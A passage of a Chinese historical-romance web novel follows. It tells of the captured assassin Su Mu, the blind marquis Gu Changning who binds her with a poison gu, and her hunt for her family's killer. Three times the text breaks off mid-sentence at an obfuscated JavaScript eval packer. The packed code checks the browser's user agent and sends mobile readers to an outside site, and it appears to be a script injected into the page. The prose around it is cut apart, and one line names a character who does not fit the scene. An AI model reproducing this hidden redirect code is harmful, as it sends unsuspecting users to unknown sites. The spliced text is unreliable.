他顿了顿,补充道:“意思是,如果她走,你便是想走也走不了了。” 此刻,苏木开始后悔,她刚刚就应该和他交换条件时说两人,可她以为,他知道他们是一伙的,要是放也应该一起,可未曾想,条件一旦改变,她就沦为了砧板上的鱼肉。 苏木想起白薇,她总是脸上带着甜甜的笑容,一如当初她的妹妹一般,她那时护不住她妹妹,难道现在还护不住白薇吗。 “我答应你。” 苏木思量良久,最后点了头,她看见顾长宁一招手,旁边侍从便直奔她而来。 她还未反应过来,那侍从已经捏住她的下颌,要往她嘴里放一颗黑色的药丸。 苏木慌了神,她现在还不能死,她必须要想办法活下去。 被捏住的下颌已经发红,可是苏木的嘴巴却怎么都撬不动。 她不敢张嘴,只是在喉咙发出呜呜声音,听语调像是在叫顾长宁的名字。 顾长宁自然也是听到了,他开口及时制止:“等等。” “你还有什么话要说?” 侍从松了手,憋了许久气的苏木一接触到新鲜的空气便止不住地咳嗽,她满脸通红,在铁链之下摇摇欲坠,她来不及平复,急急开口:“我是一把利刃,公子何不留下我。” 她急忙诉说自己的价值,生怕一个不注意便在嘴里被塞满毒药。 “头顶利刺,岂能安睡。” 他开口,苏木却依旧执着:“你大可以留下我,你若是稍微聪明点就可以知道,我和前面来刺杀你的人来自一处,此次你杀了我,那边一得知消息便会派无数个我来杀你,倒不如我们合作。” 苏木有些虚弱,嘴带颤巍地开口:“不如我们合作,我可以助你抵挡外来一切荆棘,若是那边有人再问起,我也不会如实答复。” “如何?” 最后几个字,苏木用尽了最后的力气,在侍从眼里,但她眼底流露出些猩红,仿佛已经变为吃人的利鬼。 未等门前人开口,苏木再也强撑不住,沉沉昏了下去。 顾长宁并未出声,他脸上带着笑意,拄着手杖,一步步地离去。 恍然间,苏木好像看见了她的亲人:父母双亲、哥哥、爱他的方姑姑…… 见人晕过去,旁边侍从知她没了反抗能力,愣是一点劲都没使,那颗药已然融进她嘴里。 “轴不轴啊,谁说这是毒药了……” …… 寒冬未褪,窗外皆是风雪,呼啸声透过密窗,将门窗吹的嘎吱作响,声音如同嘶哑的弃妇,让人悚然。 简陋屋中,苏木躺在薄被之下,身体止不住的颤抖。 猛然惊醒,苏木睁大了眼睛,一片漆黑,它尚未注意到自己身在何处,耳边只传来恐怖的呼啸声,苏木眼眶渐红,以为自己来到了阴曹地府。 未能仔细思虑考量,她感觉到头上传来剧痛,挣扎无果后再次沉沉睡去。 同样的夜,半盏蜡烛点亮了整个屋子,屋中香炉染起的檀香细烟氤氲而上,环绕在书桌之旁。 顾长宁跪坐案前,手中正抚摸着一卷画轴。 画轴上的女子面目清丽,正是苏木。 这几日,为了调查清楚她的底细,他派人前去打探过苏木所说之话,他的侍从们拿着画像一一比对。 可结果,却出乎他意料。 4. 第4章 扬风调查表明,众人一致口吻皆如她所说一般无二。 可他,偏偏不信。 …… - 隅中,晨风拂着破旧窗纸,吹得窗棂吱呀作响。 苏木被吵的缓缓睁眼,鼻尖涌入一股潮湿木气,瞧着房梁上布满蛛网的屋顶,她挣扎着坐起。 感受到后背酸痛,她瞧着身下是硬邦邦的草席与粗布铺垫,环顾四周陈设简陋,墙角还堆着几只破土罐子,桌子上的灰尘似乎有半指厚,像是许久无人居住,桌上却还有一土陶碗放置着。 眸子跟随指尖摸到陶碗,里面残留着药渣,苏木突觉苦涩的气息仿佛仍在舌根缠绕。 她眉头轻蹙,茫然环顾——这是何处?她怎么会在这儿? 此刻,不是应该在地府吗?她回想一日夜晚微醒时的样子,和现在全然不同。 头痛欲裂,苏木用手扶着脑袋,顺着木椅坐下,却未曾想肩上有伤,不小心触碰到,更是疼的蜷缩了起来。 可是,在地府还能有痛觉? 耳畔忽而传来几声鸟鸣,细碎之声,让她明白眼下是让人无法忽视的真实。 举起右手,一丝朝光透过指缝在眼眸流转,她刺眼的别过头,心下已经明白了。这里还是人间。 她没有死。 回想那日情景,苏木脑中闪过那人的面目,一时之间眼中多了几分寒霜。 外面传来一阵窸窣,分明是欢声笑语,她不知自己身处何处,只得出去瞧瞧。 但先下她瞧着,自己衣着白色里衣,环顾四周也未曾发现有可穿的衣物。 瞧着如此景象,她倒也顾不了那么多了,上前去打开沉重的木门。 门梃发出嘎吱嘎吱的响声,这门多少有些厚重,幸亏她是习武之人,虽左臂使不上力,但好在以右手之力便可以打开这木门。 打开门的那一刻,青日白光顿时砸落整个屋内,同时也洒在苏木的脸上。 她虚着眼,瞧着眼前的景象。 一阵寒风穿堂过院,苏木往后退了退,试图用门框替自己遮挡些寒风。 些许枯枝败叶在青砖地上翻滚。园中花木尽数凋凌,落叶与残雪交错累积,多少有些清冷。 回廊褪色的漆面有些斑驳,檐角垂挂的风铃还发出清脆的响声,顺着回廊,苏木似乎又听到刚刚的人声。 她得摸清眼前局势,才能找准时机逃脱。 瞧着没人,苏木往前走了几步,尽管寒风仍跃身轻点枯枝借力,不过一眨眼她便立于回廊之上。 暮风掀起沈微婉的月白裙裾,她扶着冰凉的檐角站稳,视线自脚下青瓦蔓延开去。 整个侯府在苏木眼下铺展,纵贯东西的三条主道宽阔平坦,将鳞次栉比的楼宇划分得井然有序。 东路是蜿蜒到她脚下的水榭回廊,飞檐翘角隐在芭蕉叶后;西路,也就是她所在之处,粉墙黛瓦连成一片;中路正厅的琉璃瓦在晨起金阳下泛着金芒,再往后是层层叠叠的院落,朱红廊柱在树影间若隐若现。 风里飘来远处早膳的香气,还大致混着雪地的冷色之气。她望着远处被辉色染成黄灿灿的一片片的院墙,才惊觉这府邸如此之大。 环顾四周,大体知道了方位。 这顾长宁还真是奸诈,将她放置于深院之中,府中房屋高低错落,若是走平地定叫人瞧见,若是沿梁而走也得叫人瞧见。 合着前厅的平楼倒是独独引诱他人来送死的。 先下,苏木还没找到合适的离开之法,只得再次回到自己房中。 眼前无人,苏木毫无意识地习惯性摸摸自己怀中所藏之物。 却在四下翻转中未能摸到。 这下,她慌了神。 她要寻物,于是再次出了门,苏木不怕别人瞧见,她腾空而上,沿着回廊房梁转走。 偶有一两个婢女匆匆走过,裹着厚重的棉衣,脚步轻快,未能发现她。 很快,苏木再次抵达东边主屋。 她一跃而下,再次不小心牵扯到了伤口,瞧着鲜血在白色里衣上洇开,她捂着伤口,夺门而入。 抬眸,瞧见了稳坐左边一隅的顾长宁。书案之前,他跪坐薄垫之上。 一进他的屋子,苏木觉得寒气都少了许多,余光确瞧见屋中银炭烧的正旺。 像是没料到突然有人闯入,顾长宁抬起头,习惯性地侧耳。 苏木知道他瞧不见,一个急步前去,手掌似利刃,正要劈去之时,却突然心下一丝钻心疼,喉头冒着些甜腥,一口血竟喷涌而出,洒落案前。 她跪倒在地,扶着胸口,抬眸满是惊讶与不解,下颌紧绷,沉声问:“这是什么?” 她能感受到,这种钻心疼不是区区乌头毒能达到的效果,也不是肩胛之疼可以传达的,这种感觉,像极了服用了什么毒药。 她瞧着顾长宁安坐在书案前,气定神闲:“你说过,我的仇家很多。” “之前,有人给我种了蛊想要置我于死地,可他刚种下人就死了,手中还握着装蛊之物。” “后来找了人问,单有母蛊进入体内是逼不出来的,只有将子蛊种入他人体内,这蛊才有机会出来。” 顾长宁喝着茶,嘴角噙着凉意的笑:“你不是要做我的利刃吗?” “这,便是代价。” 茶杯重重的摔在杯托之上,发出清脆的碰撞声。 他的语气虽淡,但在苏木听来感受到到无比的尖锐。 苏木未言,眼底满是恶狠,似乎可以马上上前撕碎了眼前之人,眼底猩红犹如见食之虎。 “不高兴了?” 他反问,轻顿首。 面对此景他并没有害怕,甚至轻笑出声:“你若是与我近身运功,你便会暴毙而亡。” “你若是要我死,那你也便活不了。” 他的话如冷锥击冰,字字刺骨。 苏木捏着左臂的手指泛白,鲜血顺着指缝晕染在冷白的骨节之上。 她已经模糊到不记得自己是哪疼了。 心口之处又是一阵翻涌,她弓着腰,顾不了肩膀,死死地拽住自己的胸口。 有些呼吸不上,她大口喘着气,咳出几声来,别过了头。 她知他说的并非假话,早年也的确听说过苗家毒蛊杀人不见血。 今日她算是见识到了。 “顾家郎君长得如此好相貌,心肠却如此歹毒。” 苏木几乎是从喉咙里生生挤压出这句话来,带着不置可否的凌厉。 她不愿再待在此处见到这面容,想到自己来这的目的:“我的衣服呢?” “衣服?” 顾长宁反问,像是不知道她说了什么,想要再确认一遍。 “那晚,我的衣服。” 她那晚虽未混入侯府而换置了一身婢女服,可那物件却一直被她藏于怀中。 这下,苏木看到顾长宁像是想起来了一般,他侧耳,一字一顿:“烧了。” 他如此平淡的一句话却让苏木抓狂:“烧了?” “你凭什么烧我的衣物?” “晦气。” 他语气淡淡,像是在说蝼蚁一般。 苏木瞬觉自己失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189717|181081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了所有的力气,她想要起身杀了眼前人,身体却虚弱的使不上力。 眼泪浸润了眼眶,苏木忽觉自己竟如此没用,那是她找到凶手的唯一关键信息,可如今也被她弄丢了。 她怔怔,呆在原地,可她从不是受人摆布、甘受欺凌之人… 很快,她鹰眼一般冷盯眼前人,手下拳头已捏的紧,仿佛下一秒就要扑上去。 然而,一声清脆之声入耳,苏木回过神来,顺眼望去,看见了地上之物。 箭头连接的一根玄色细绳,叫人一看便是挂在脖上之物。 看见心念之物,苏木生怕丢失,立马捡起攥入手中。 顾长宁听到了声音,只拄着手杖起身,停在窗前的朱红色衣叉木旁。 他揽下狐绒银白大氅,一顿一步下了案前,伫立于锦彩珠丝氍毹之上,扔下了那大氅。 银白色覆盖于苏木拘着的身体,笼罩了她的一头青丝,若不是衣外颤动,只怕以为只是袄子掉落地上,不晓其中有人。 “披上吧。” 语罢,顾长宁扬长而去。 - 书房内,素木书架倚墙而立,卷帙整齐,檀香袅袅升起,与窗外风声交织,显得一室静谧。 顾长宁安坐于几案之上,神色肃穆。 随从扬风站在其下,为他递上了一张草图。 顾长宁摸索着接过,轻扶纸上凹凸。 “公子,你为何要我画这,这箭镞可有什么重要含义。” 顾长宁未回答,手指在画上来回摩挲后不紧不慢地问:“你可看出,这箭镞来自何处?” 扬风上前,再次看清楚草图上的箭镞后摇摇头:“没见过,世家大族的箭镞皆由自家设制,例如咱们侯府的箭镞上刻有详云,而皇军箭镞也大多绘有龙爪其上,看着箭镞只有一弯三齿浮雕于上,扬风确实没见过。” “一弯三齿?” 顾长宁重复着扬风的话,眉间浮起一丝疑惑:“我倒也没见过。” 早年出外杀敌,所见箭镞也大多如你所说,这样的倒是少见。” 扬风想替主分忧,手环胸前沉眉思考,顿时,他像想起了什么一般:“属下记得,宰相府中精锐一直以守上京为己任,多为城中守卫,将军可见过他们的箭镞?” 这一提醒,顾长宁心下一沉,似在回想。 可他自三年前伤了眼,久未出府,要让他回忆三年前的箭镞,他也的确无能为力。 放下草纸,顾长宁揉了揉眉心:“这事暂且搁下,上次让你查的事怎样了?” 扬风拱手示礼:“公子所言的确不假,我们守在城北玉春楼多日,亲眼瞧见宰相府中小厮与其有来往。” “属下与凌风装作嫖客入内,选的便是靠近他们的位置,那小厮与玉春楼女子相谈甚久,不知都说了些什么。” “既是一墙之隔,怎会什么都没听到?” 见顾长宁有些恼怒,扬风悻悻开口:“那楼似乎隔音极好,属下的确没有办法。” 说完这句话,扬风后退了半步,顺势摸了摸自己的耳朵,生怕顾长宁过来。 顾长宁转头,对着侧面窗台,望着外面像看到了窗棂上的积雪:“你还记得那名女子模样吗?” 扬风坦言:“记得。” “帮我安排,我去会会。” “还有” “给苏木送些炭火,暖和衣物。” 顾长宁摸索着指头,想起今日被她触碰的那丝凉意,薄薄的衣裳挨着他,让他察觉些寒意。 “侯府不养废人,给她些药好好养伤。” 5. 第5章 夜幕犹如曜石,白月悬挂天边,稀星点缀宣告着今夜的晴朗天。 无风无雨是外界,玉春楼里可不同。 玉春楼作为上京城最有名气的风流之所,坐落于城北富庶地段,街巷过路人不少王公贵子。 楼下女子或娇笑拈花,或倚柱揽客,声音柔媚,笑意含春。离这玉春楼二里地都仿佛连尘埃都沾了脂粉香气。 在这风月之地,月光都显得朦胧,仿佛落在人肩头的不是光,是情丝万缕,绕人心头。 “哟,这不是小侯爷嘛,这玉春楼今日遇上了小侯爷,那也是蓬荜生辉了,春娘,去叫几个机灵的丫头过来。” 楼里妈妈正在外迎客,突见一人气宇轩昂,虽是多年未见顾家幼子出门,但凭着以前的记忆,还是一眼认了出来。 顾长宁今日身着一袭墨青织金暗纹长衫,衣角随风微动,隐隐露出内衬浅绛锦袍,低调中透着极致讲究。 腰间的玄玉带玉色温,勾勒出挺拔的身形。指节修长,手握手杖。 虽听到了阿谀之词,顾长宁却不愿相迎。 身边扬风开口:“妈妈,我们来着是为一睹月华姑娘的芳容的,可不是几个机灵丫头便能打发的。” “哎哟,真是不巧了小侯爷,我们楼里月华姑娘今日有客……” “张妈妈!”扬风打断:“我记得前日可是与你说好了的,怎么平白多出了客?” 扬风面带肃然,带有一些独属于侯府的威严,教人不敢对视说谎。 “这位小哥儿,不是小人骗你,这……月华姑娘今日染了风寒,确实……接不了客了。” 见张妈妈改了说辞,扬风面带怀疑。 “接不了客?那你为何今日不早早通告侯府?!” 扬风很是生气,厉声呵道。 “这位官爷,真是冤枉哪!那月华姑娘这病也不是我能早早预知的呀,若是知晓,贱民必定早早告知小侯爷,哪敢劳烦贵人走这一遭呢!” “你……今日我们非要见到她呢!” 扬风面带跋扈之色,他思及小侯爷平日也不常出来,好不容易出来行事,竟还吃了闭门羹,一时情绪难以控制。 顾长宁抬手示意,扬风往后退了半步。 “若是如此,月华姑娘好好养病,本侯改日再来。” 语罢,顾长宁现行一步离开,扬风回头狠狠瞪了一眼那张妈妈,紧跟其后。 “公子相信了那老鸨说的话?” 扬风确实不信那话,一听就知道是随意编出来的谎话,还两番改了说辞。 “自然不信。” “但我们也自然不能做强闯之事,她这风寒且等及时能好。” 顾长宁只身走在前面,若不是手中借物,倒像是个正常人。 “公子什么意思?小的怎么有些听不明白。” 顾长宁淡言:“前几日你们才打探完消息,今日那姑娘便病了,天下哪有那么巧的事。” “要不是跑了,要不是……” “出事了?” 见身前公子话未说完,扬风接话道。 “有这种可能,所以一会儿回去你多派点人,时刻盯着玉春楼的动静。” “若是碰上活得,完好无损的带回来。” 顾长宁语气平平,听不出什么起伏。 身旁偶尔窜过几个顽劣孩童,撞了人急急忙忙道声抱歉便跑开,也能听到些两情相悦之人路过时的悄悄话,或是关于些柴米油盐的粗话争论。 鄢国没有宵禁的规矩,就如此刻已过戌时,街头依旧人头攒动。 边上小贩叫的正起劲,扬风瞧着流连忘返:“公子,您好不容易出来一次,要不扬风陪你逛逛?” “你想逛?” 顾长宁驻足,听穿了扬风的心思:“你若是想逛你便逛,我可不奉陪。” 若无外人,顾长宁很少自称本侯,扬风和凌风都是自小跟着他的,他已经把他们二人当作亲兄弟般看待。 “郎君,你就逛逛吧,出来散散心也是好的。” 扬风知是不能任由顾长宁独自回去,试图说服他。 “回府。” 冷冷两个字,扬风失去了希望。 顾长宁眼中没有颜色,只是无尽黑暗,就算听到了热闹景象,他也只能凭借记忆中的模样去拼凑现在似乎可能出现的景象,这样的过程他不想经历,也不愿意经历。 握着手杖,顾长宁一步步消失在繁华市井。 - 枯木之前,苏木单独站在一行,其余婢女围做一团,正充满鄙夷的瞧着对面之人。 地上趴着的,有着同样身着婢女服饰的仆人,有的鼻青脸肿,有的不是捂着脸就是捂着手腕,还有一人竟掉落水中,踉跄从湖中爬起瑟瑟发抖。 苏木瞧着眼前这群人,像是瞧蝼蚁一般不屑:“你不是要教训我吗?来。” 领首的女子穿着与他人粉色不同的青色厚袄,虽不说多么华贵,但也能瞧出些不同来。 那人倨傲不恭,扯着嘴角蛮横开口:“我倒要看看,你有多厉害!” 苏木见那女子衣带飞扬,飞身向她靠近。 居然会武,有意思。 苏木勾起一抹笑容,顺势避过一招,唇角勾着淡淡讥讽,衣袖一卷,轻声道:“班门弄斧。” 话音刚落,女子招式干脆利落,一掌劈向苏木肩头。苏木不退反进,侧身卸力,手腕翻转,右手紧握住来袭手臂,膝尖直直顶向她的腹部。 那女子闷哼一声不甘示弱,双掌翻飞如燕,掌势虽柔却暗藏锋利。二人衣袍翻舞,身形流转在亭下、枯树、石榭。 脚下石板激起碎尘,女子渐渐落了下风。 “我没空陪你闹了。” 苏木左手背在身后未动分毫,只用右手,便已让女子有些吃不消了。 苏木掌影如剑,几次逼近对方咽喉,那女子前几次躲避迅速,后面反应明显慢了许多。那女子见不敌,趁空隙勾腿绊步,欲将对手扑倒在地,苏木反身借力,一记肘击横扫,将她震出数步以外。 “不过如此。”苏木语声淡漠,眼神沉静如水。 女子擦去唇边血迹,正要说些什么,扬风的声音传来。 “你们在干什么!” 一进府,顾长宁便听到了些吵闹声,声音从西边别苑传来,似是争吵,声音很是大。 察觉顾长宁停了步往西苑望去,扬风顿时明白,快步向西苑去。 于是,便见到了这幅场景。 估摸着半盏茶的功夫,吵闹之声倒是没有了,一众脚步声越渐清晰。 终于,停在了顾长宁的跟前。 “何事吵闹不止!” 扬风声音极其响亮,颇有质问之态。 “回大人,今日,我们想着西苑别屋许久未经人打扫,想要进去收拾一番,却被这贱民一阵棍棒打了出来,与她讲理她也是泼皮无奈,婢子们实在是气不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189718|181081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 西苑别屋,那是苏木所在之物。 此刻,苏木正站在台下,立于众人之旁眼带凌厉之色。 她竟没想到,这些人如此能颠倒是非,可她偏偏是不屑去解释之人,见那领首女子胡言乱语,正要冲上去再给她一掌。 众人见状早已害怕,往后退着时环抱住领首之人,一人突尖叫出了声:“公子,她又要打我们!” 苏木本只想吓吓他们,却见顾长宁突然向前踏步,离开了回廊。 似是想起了什么,苏木收回了手掌。 这几日,她确有好好养伤,侯府也的确不算吝啬,将上好的金疮药赠与她用,此刻胳膊总算能活动活动,她可不想刚好了伤疤立马再感受那锥心之痛。 苏木以为眼前人要为自己府中婢女说话,有些不屑地别过头。 “他们说的,可是真的?” 顾长宁不动如山,眸中无光却泛着冷意。 苏木懒得理他,却是半句话都不想说。 这时,苏木身后站出来一位婢女,带着低哑的嗓音,怯怯开口:“回…回公子的话,不…不是这样的。” 倒是没想到有人会帮自己说话,苏木有些惊讶的转头,看向那婢女。 身着薄袄,个子不高,甚至有些瘦弱,身体止不住的颤抖,连带着说话也微颤。 “今日申时,众人…都…都在议论说西苑别屋有位未见过面的姑娘,公子不知为何要收留她,她…她们有些气不过,知道这位…姐姐正养着伤,所以,想要进去给她一个下马威。” 苏木开口道谢的话说不出,只是在对上那怯怯的眼眸时,自己眼中多了几分柔意。 她转过身看着顾长宁,想要看看她此刻的表情。 “你胡说,若不是我们闯进她屋里,怎能发现她屋中就偷藏了如此多的珍贵之物。” 领首的婢女嘴角还带着伤,却举起手中的金疮药,似是拿到了什么好不得了的证据洋洋得意:“公子你瞧,这女刺客死性不改,还偷府中名贵药物。” 听她讲话,顾长宁眉头微蹙,一股怒意马上就要升起,扬风在身侧发觉不对,厉声呵斥:“大胆,给青颜掌嘴!” 听到扬风说掌嘴,那名叫青颜的女子才知自己说错了什么话,心下慌乱,悄悄抬眼已见台上之人怒色,立马掌嘴。 府中之人皆知规矩,凡是能触碰到顾长宁眼疾之话,皆如同砒霜,随时要了谁的命。 这句无意识的“你瞧”便已让顾长宁震怒。 苏木不语,瞧着却觉得好笑,她不知这些规矩,但隐约也听出来让她掌嘴之缘故。 重重几掌挨过之后,青颜焉巴了,但苏木瞧着她那眼神便知,自己今后应是多了名敌人。 “你们仔细听着,她屋中银炭药品,皆是由本侯下令送至的,他日若我在听到此等言论,或是遇到乱嚼舌根之人便撕了你的奴籍,撵出府去。” 顾长宁的话掷地有声,落入其下婢女耳中,竟是比死更可怕的事情。 谁人不知,鄢国籍贯分三六九等,最下贱的也不过是奴籍,若是连奴籍也没了,没了避难之所,在这偌大鄢国便是连畜生都不如,任由宰割了。 没想到自家侯爷能为这不熟眼的姑娘下达如此严令,众人都不敢再吭声。 没了异议,庭内一片寂静。 苏木见顾长宁头转向她这边,眸子虽无焦,但却是向要看穿她一般。少顷,顾长宁平平开口:“跟我来。” 6. 第6章 曲折回廊之上,檐下风铃轻晃,发出细碎声响。顾长宁在前,步履稳而缓,身后苏木衣袂翻飞,靴底轻踏青砖,声息不重。 沿着游廊,苏木慢步跟在身后,瞧着他步伐极慢,苏木生出些不耐烦。 “不能直接说何事,非要一直这么走着吗?” 此话开了口,顾长宁步子停在原地,嗓音淡淡:“倒是忘了你在身后了。” 他话虽如此,但身后的脚步不可能没有听到,苏木自是不信。 “扬风,你领她去取一等婢女的衣物。” 顾长宁负手立于廊下,语气平稳如水,却分明透着不容置喙的意味。 语罢,他缓缓侧身迈步:“此后,你便常侍主屋,不必再去别苑。” 主屋?苏木心下生疑,她明白主屋为顾长宁所居之处,带着些否决的意味威胁:“留我在主屋,夜半你可得好好睁着眼。” “还有,凭什么我要做你婢女。” 苏木微仰着下巴,语气不悦,步子紧跟其后迈得格外重,像是在替自己的尊严讨回声响。 未料眼前人突然停步,苏木楞是没缓过神来,差点撞上,忙往后退了几步。 “你想活命,那你就必须得护我周全。” “还有,如果你想每日将精力放在如何与府中下人争斗之上,那也随你。” 顾长宁声音冷峻,却是不容置疑的事实。 听到此话,苏木私下思量,的确如此,因为有蛊,她不但不能杀顾长宁,反而还要护他周全。 况且今日她自己不过是出门逛了那么一遭,一进屋中四下皆乱,看到那景气便不打一处来。 苏木正要再说些什么,顾长宁轻抬左手,像是在招别一般:“扬风,先带她下去,明日巳时,领她到我屋中来。” 扬风听令答是,顾长宁便乘着夜色消失在回廊尽头。 苏木瞧着那背影,眼底浮上些复杂的情绪,她想,眼下留在侯府也未尝不可。 这些年虽然她借自由之身已去往鄢国各郡,无论是各乡土匪还是芝麻大小的官她都查探的所剩无几,只有这上京城,她一直踌躇,不愿前来。 上京城御史中丞沈府的灭顶之灾,她光光是踏入这上京城,就犹如多年之事浮现眼前。 之前她常想,总是再等等,再等等她便来上京寻找些蛛丝马迹,可总是近乡情怯,不敢踏足。 因为偏偏是这上京城,所到之处,皆是儿时记忆。 但眼下,被白薇之事裹挟,她总算迈开了这一步,她也是比任何人都知晓,这上京城华灯奢俪之下,才最容易窝藏凶手。 这一次,她一定抓住每一次机会,势必要找出那箭镞的主人。 苏木出了神,全然没注意到扬风在唤她,只感受到肩膀有人拍了拍,她才回过神来。 “喂,听到没,跟我走。” 苏木回过视线,缓过神来后跟在扬风身后。 “扬风,现在我们去哪?” 园中游廊纵横交错,拐了弯便进入一处假山,假山周围覆其藤壁,蜿蜒纵横,随着积雪已成冰枝。 瞧着越走越偏,苏木问道。 “要领衣物用具,自然是要去庑房。” “别多话,跟我来。” 扬风步伐极快,偶有些乱石挡路,他也是毫不犹豫一脚踢飞了远处,瞧着性子是极其急躁的 苏木见他不耐烦,也懒得再多话,只是一味跟其身后。 只是见这侯府修葺地如此错落,一院绕着一院,苏木心下生出些疑惑,见走了许久也未到庑房,苏木低沉着声说:“怕是老鼠来你们这侯府偷颗米走,都得绕晕了把自己鼠爪做了米吃。” 这话意味非常明显,苏木有些嫌绕了:“侯府修这么绕,你们公子身患眼疾,这不是给他寻不痛快嘛。” 语罢,苏木瞧见扬风的衣诀似动,手握腰间那把沉铜剑鞘背对着她,他站得笔直,肩背绷紧得像拉满的弓弦,仿佛只差一丝便要断裂。 “我劝你别多话。”扬风声音沉沉,倒是和那日地牢所见感觉不太一样。 见此,苏木倒来了兴趣,她倒不怕眼前人抽刀,若是想要比划一下,她倒也想见识一下顾长宁贴身侍卫的武力。 “为何,人生来一张嘴,若还要按照他人之法才能开口讲话,多无趣。” 苏木挑眉不屑,似乎根本没将扬风放在眼里。 “侯爷自小身在侯府,自然不会像你这只贼鼠绕晕了路。” 扬风借力打力,一时让苏木哑口,苏木甚觉无趣,她本想借此机会探探这顾长宁是因何所患眼疾,但见扬风闭口不谈的模样,她也便知道自己打探不出来什么了。 恰好,扬风停在一处,瞧着远处别屋牌匾写着庑房二字,扬风往前去后开口。 “在外等着,我去给你取。” 寒风瑟瑟,苏木有些怕冷,见扬风也没打算让她进屋,干脆直接在亭下坐着了。 不知取衣物要如此之久,苏木瞧着檐下壁画一时出了神,听到两声扑腾声才回过神来。 原来是一直信鸽落在亭下。 这白鸽羽毛锃亮如玉,翅见却像闪着银光,眼中少了些禽畜的迷惘,多出几分如人的警觉。 这鸽子,苏木再认得不过,在每个离开闳离阁的日子,潇声都会用她传信。 苏木眸光一闪,神色微敛,身形虽未动,眼眸却蓄着力,眼见耳听四方的动静。 见扬风还未出,苏木警觉地抱起飞鸽,取出藏于右爪的信条,放飞了那鸽。 鸽子刚不见踪影,苏木还未来得及翻开信条,庑房的门已缓缓打开。 听到嘎吱一声,苏木只好卷起衣袖,生生将信条按与腕下衣袖间。 “接着。” 扬风手中举着衣托,托中放着厚厚一沓衣物,瞧着过冬的锦袄,便是三件,还不算上其他衣物。 扬风举起的衣物快将他下巴挡住,苏木见状却觉好笑,眉眼流出少有的舒展:“扬风,我手还伤着,只能劳烦你了。” 扬风正用下巴抵了抵衣物,还未仔细听清说了些什么,苏木便直接飞身于屋檐之上:“先回了,记得送到别苑。” 人已不见,扬风倒是有话也说不出口,他也无法直接飞身送衣,瞧着托中衣物,只怕多上两步台阶都会洒落一地。 话说作为习武之人,区区几件衣服扬风自是不会手软,但难就难在这衣服堆叠过高,既要顾及不落泥地,又要顾及脚下弯路,实属有些累了, 突而眼尖瞧见几名婢女经过,扬风招了招手,这才让自己脱了身。 回身之时,扬风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189719|181081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回头瞧了瞧这些个狭窄小路,竟是回想起苏木刚刚的言语忍不住说了句,这院子修的的确是有些麻烦。 - 一跃而下,苏木立于水榭拱桥之下,顺着木板往下踏时,耳边传来些泣语声。 顺着声音望去,那是屋前枯木旁正蹲坐着一名婢女,身形瘦弱。 苏木漫步前去,立于那人身后:“为何在这哭,可是受了什么委屈?” 庭院之中本是寂静,没来由的出了声,倒让眼前婢女吓了一大跳,瞧见她身体微颤,有些怯懦的转身。 漏出脸庞,面貌还算清丽,几丝碎发混着眼泪糊于面中,嫣红脸颊上滚落着几颗透泪儿,瞧着倒是楚楚可怜。 苏木认得她,是今日替她说话的姑娘。 虽然记起眼前女子,但苏木多少有些防备之心,她未将脚下女子扶起,而是以傲人姿态立于上位,沉声低语:“是你?” “为何在这哭泣,今日又为何帮我。” 似是被吓的有些缓不过神来,那婢女仍旧颤颤巍巍:“婢子不是有意在这惊扰姑娘的…只是…婢子的被褥都被打湿了,实在是睡不了了啊一时之间不知往何处去,走着走着便到了这儿。” “被褥为何会湿?” 苏木察觉女子的话未说完,于是追问:“可是今日那名叫青颜的欺负你?” 那女子擦了擦眼泪,环抱住双腿,依靠着树干: “婢子不知,婢子是前几日刚入府的,和他们所交不深,或是今日惹了他们不高兴。” 苏木知道了大概,却还是追问:“你知她们会不高兴,为何还要帮我?” 这时,那女子突然抬头瞧着苏木,眼底闪出些复杂的眸光,却带着些能察觉的喜气:“我见到姐姐时,就觉得你与我逝去的姐姐长的相似,定不是坏人。” 她这话说的笃定,让人确信不疑。 偏偏这样一句话,最能触及苏木心底最柔软的地方。 言及此,苏木像是意识到了什么,卸下了不少防备,上前扶起女子:“你叫什么名字,年芳几何了?” 被突如其来的靠近吓得有些不明所以,但女子依旧开口的迅速:“婢子名唤芜衣,年十六。” 听到回答,紧紧攥住芜衣的手顿时松开了,苏木怔怔。 十六,不是妹妹的年纪,她的妹妹比她小三岁,现下,也该十四才对。 意识到自己反应过了头,苏木有些尴尬地抽离了自己的手,笑的有些勉强:“如此天寒,你今日帮了我,我自然不能留你受着冻,你且进屋,屋中还有一床,你可歇息。” 语罢,苏木转过身去,先一步进了屋。 担心芜衣着了风寒,苏木燃起了银炭,等屋中稍有些暖气了,她才开始更衣洗漱。 屋中燃着炭火,门窗自是不能紧闭,苏木起身透开些缝隙,她安置了芜衣睡下,自己却立于门外。 她记得今日的信条还忘了看,屋中不方便,自是要寻着无人之处。 